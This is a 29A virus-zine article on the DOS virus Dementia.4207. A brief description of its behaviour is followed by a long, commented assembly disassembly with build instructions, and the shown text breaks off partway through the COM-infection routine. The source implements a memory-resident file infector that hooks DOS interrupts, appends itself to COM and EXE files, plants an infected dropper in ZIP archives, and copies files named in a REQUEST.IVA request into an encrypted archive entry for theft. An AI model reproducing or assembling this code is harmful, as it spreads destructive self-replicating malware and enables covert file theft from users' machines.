Copy Link
Add to Bookmark
Report
29A Issue 02 04 02
Dementia.4207
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
It is not a dangerous memory resident encrypted parasitic virus. It hooks
INT 21h, then writes itself to the end of COM and EXE files that are
executed or opened. The virus contains the text strings:
!#TEMP#!
REQUEST.IVA
RECEIPT.IVA
CALLFAST.COM
*.*
Dementia] Copyright 1993 Necrosoft enterprises - All rights reserved
I am the man that walks alone
And when I'm walking a dark road
At night or strolling through the park
When the light begins to change
I sometimes feel a little strange
A little anxious when it's dark
While opening any ZIP file the virus scans the contents of the ZIP file for
the REQUEST.IVA file. If there is no such one inside of ZIP, the virus
creates the CALLFAST.COM file, writes into there the video-effect routine,
infects CALLFAST.COM and appends that file to the files stored in ZIP.
So the virus "infects" ZIP file, after "infection" the ZIP file contains
infected copy of the virus.
If there is the REQUEST.IVA file in the ZIP, and that file is of the special
format (there is ID-string 92h,14h,76h,17h, and there is one or more file
search pattern) the virus creates RECEIPT.IVA file, searches for the files
are listed in the REQUEST.IVA file, copies them into RECEIPT.IVA, encrypts
the result, and stores it into the ZIP.
So the virus is able to "stole" the files from the computer and save them
into the ZIP containing special REQUEST.IVA file.
While processing the ZIP files the virus does not call PKZIP/PKUNZIP
utilities, but parses by itself the internal ZIP format, reads/writes the
ZIP records and adds new ones. While writing new data into the ZIP files the
virus does not use compression, but writes it in not compressed form (ZIP
method "stored").
The virus dropper (the CALLFAST.COM file) contains the routine witch
displays when executed:
DEMENTIA
(512)PRI-VATE ú 0 day wares ú V-X
800 megs online ú USR Dual 16.8k
-\- Psychotech <Image> -/-
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
comment *
Dementia.4207
Disassembly by
Darkman/29A
Dementia.4207 is a 4207 bytes parasitic resident COM/EXE/ZIP virus. Infects
files at close file, open file and load and/or execute program by appending
the virus to the infected COM/EXE file and storing in the infected ZIP file.
Dementia.4207 has an error handler, 16-bit exclusive OR (XOR) encryption in
file and is using archive infection technique.
To compile Dementia.4207 with Turbo Assembler v 4.0 type:
TASM /M DEMENTIA.ASM
TLINK /x DEMENTIA.OBJ
EXE2BIN DEMENTIA.EXE DEMENTIA.COM
*
.model tiny
.code
code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h
std ; Set direction flag
mov cx,(crypt_begin-crypt_end-02h)/02h
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key
push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes
jmp crypt_end
crypt_end:
loop decrypt_loop
cld ; Clear direction flag
push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack
lea ax,virus_begin ; AX = offset of virus_begin
push ax ; Save AX at stack
retf ; Return far!
virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
pop ax ; Load AX from stack (CS)
mov [code_seg_],ax ; Store code segment
mov bx,1492h ; Dementia.4207 function
call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit
mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...
mov bx,[code_seg] ; BX = original code segment
add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment
xchg ax,dx ; AX = segment of current PSP proc...
cli ; Clear interrupt-enable flag
mov bx,[stack_seg] ; BX = original stack segment
add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment
mov ax,[stack_ptr] ; AX = original stack pointer
mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag
mov ah,62h ; Get current PSP address
int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
jmp dword ptr cs:[instruct_ptr]
vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "
push es ; Save ES at stack
mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
retf ; Return far!
upcase_char proc near ; Upcase character
cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase
sub al,20h ; Upcase character
dont_upcase:
ret ; Return!
endp
int21_virus proc near ; Interrupt 21h of Dementia.4207
pushf ; Save flags at stack
cld ; Clear direction flag
cmp ah,3eh ; Close file?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
cmp bx,1492h ; Dementia.4207 function?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
mov bx,1776h ; Already resident
popf ; Load flags from stack
iret ; Interrupt return!
tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and
cmp al,0ffh ; Dementia.4207 function
je dementia_fun ; Equal? Jump to dementia_fun
push ax si ; Save registers at stack
mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit
cmp al,'.' ; Found the dot in the filename
jne find_dot ; Not equal? Jump to find_dot
lodsb ; AL = byte of extension
call upcase_char
cmp al,'C' ; COM executable?
jne tst_exe_exec ; Not equal? Jump to tst_exe_exec
lodsb ; AL = byte of extension
call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch
lodsb ; AL = byte of extension
call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call infect_zip
jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack
jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207 function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit
call inf_com_exe
int21_exit:
popf ; Load flags from stack
jmp cs:[int21_addr]
endp
install proc near ; Allocate memory, move virus to t...
push es ; Save ES at stack
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-02h] ; AX = segment of first memory con...
next_mcb:
mov ds,ax ; DS = segment of current memory c...
mov al,ds:[00h] ; AL = block type
cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem
mov ax,ds ; AX = segment of current memory c...
mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...
jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...
mov ax,ds ; AX = segment of last memory cont...
add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory
push es ; Save ES at stack
lea ax,install_ ; AX = offset of install_
push ax ; Save AX at stack
retf ; Return far!
install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx
lea dx,int21_virus ; DX = offset of int21_virus
mov ax,2521h ; Set interrupt vector 21h
int 21h
pop es ; Load ES from stack
ret ; Return!
endp
inf_com_exe proc near ; Infect COM/EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer
push ax bx cx dx si di ds es
call int24_store
call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit
call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,20h ; Read thirty-two bytes
call read_file
mov ax,ds:[00h] ; AX = EXE signature
cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
call infect_com
jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_zip proc near ; Infect ZIP archive
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer
push ax bx cx dx si di ds es
xor ax,ax ; Didn't found file
mov [bp-0eh],ax ; Store didn't found CALLFAST.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA
call int24_store
push dx ds ; Save registers at stack
lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack
call open_file
jnc load_info_ ; No error? Jump to load_info_
jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file
call load_info
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file
mov ax,ds:[00h] ; AX = low-order word of file head...
cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig
jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh
jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file
mov cx,ds:[16h] ; CX = filename length
mov dx,20h ; DI = offset of filename
call read_file_
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea di,request_iva ; DI = offset of request_iva
nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_reques ; Equal? Jump to found_reques
cmp ah,al ; Byte of filename equal to byte o...
jne find_callfas ; Not equal? Jump to find_callfas
jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,callfast_com ; DI = offset of callfast_com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of callfast_com
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_callfa ; Equal? Jump to found_callfa
cmp ah,al ; Byte of filename equal to byte o...
jne find_receipt ; Not equal? Jump to find_receipt
jmp callfas_loop
found_callfa:
mov ax,01h ; Found CALLFAST.COM
mov [bp-0eh],ax ; Store found CALLFAST.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_receip ; Equal? Jump to found_receip
cmp ah,al ; Byte of filename equal to byte o...
jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr
jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit
call set_pos_cfp
jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2ah ; Read forty-two bytes
call read_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[18h] ; CX = filename length
mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,04h ; Read four bytes
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov ax,ds:[00h] ; AX = low-order word of end of ce...
cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig
jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds
jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file
mov ax,ds:[0ch] ; AX = low-order word of offset of...
mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[10h] ; CX = zipfile comment length
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov ax,[bp-10h] ; AX = found REQUEST.IVA
or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas
jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found CALLFAST.COM
or ax,ax ; Didn't found CALLFAST.COM
jz create_file_ ; Zero? Jump to create_file_
jmp call_mark_
create_file_:
lea dx,callfast_com ; DX = offset of callfast_com
nop
call create_file
mov [bp-14h],ax ; Store file handle of CALLFAST.COM
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_
call close_file
mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize
lea dx,callfast_com ; DX = offset of callfast_com
nop
call inf_com_exe
xor ax,ax ; Test filesize
mov [tst_filesize],ax ; Store test filesize
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,callfast_com ; SI = offset of callfast_com
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move CALLFAST.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
call open_file
call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize
call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of local hea...
mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)
mov cx,1eh ; Write thirty bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file
jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds
dec ax ; Decrease number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov ax,'KP' ; AX = low-order word of central d...
mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_
mov cx,ds:[1ch] ; CX = filename length
mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read
push cx ; Save CX at stack
mov dx,2eh ; DX = offset of central directory...
call read_file_
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file
jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2eh ; Write forty-six bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of end of ce...
mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_
mov cx,ds:[14h] ; CX = zipfile comment length
push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_
mov ax,ds:[08h] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call close_file
lea dx,filename ; DX = offset of filename
nop
call delete_file
jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra
jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cld ; Clear direction flag
xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra
jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra
jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification
loop decrypt_spec
pop cx ; Load CX from stack
loop decrypt_next
mov ax,ds ; AX = segment of data buffer
add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov ah,47h ; Get current directory
xor dl,dl ; Default drive
xor si,si ; Zero SI
int 21h
pop ds ; Load DS from stack
mov ax,es ; AX = segment of pathname
add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero
push es ; Save ES at stack
mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
xor dx,dx ; Zero DX
mov ah,1ah ; Set disk transfer area address
int 21h
lea dx,receipt_iva ; DX = offset of receipt_iva
nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack
pop ax ; Load AX from stack
mov dx,01h ; Don't store backslash
call create_recei
mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA
call set_pos_sof
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr
push ax ; Save AX at stack
xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp
pop ax ; Load AX from stack
push ax ; Save AX at stack
mov cx,ax ; CX = number of bytes actually read
xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_
pop ax ; Load AX from stack
mov cx,ax ; CX = number of bytes actually read
call write_file
jmp encrypt_rece
set_dta_addr:
call close_file
mov ds,[bp-26h] ; DS = segment of disk transfer area
mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer
xor dx,dx ; Zero DX
mov ah,3bh ; Set current directory
int 21h
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,receipt_iva ; SI = offset of receipt_iva
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename
jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark
mov bx,[bp-08h] ; BX = file handle of ZIP file
call close_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call close_file
lea dx,temp_file ; DX = offset of temp_file
nop
call delete_file
inf_zip_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_com proc near ; Infect COM file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,00h ; COM executable
nop
nop
mov cs:[com_or_exe],ah ; Store COM executable
mov ax,ds:[00h] ; AX = word of original code of CO...
mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al
call encrypt_copy
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
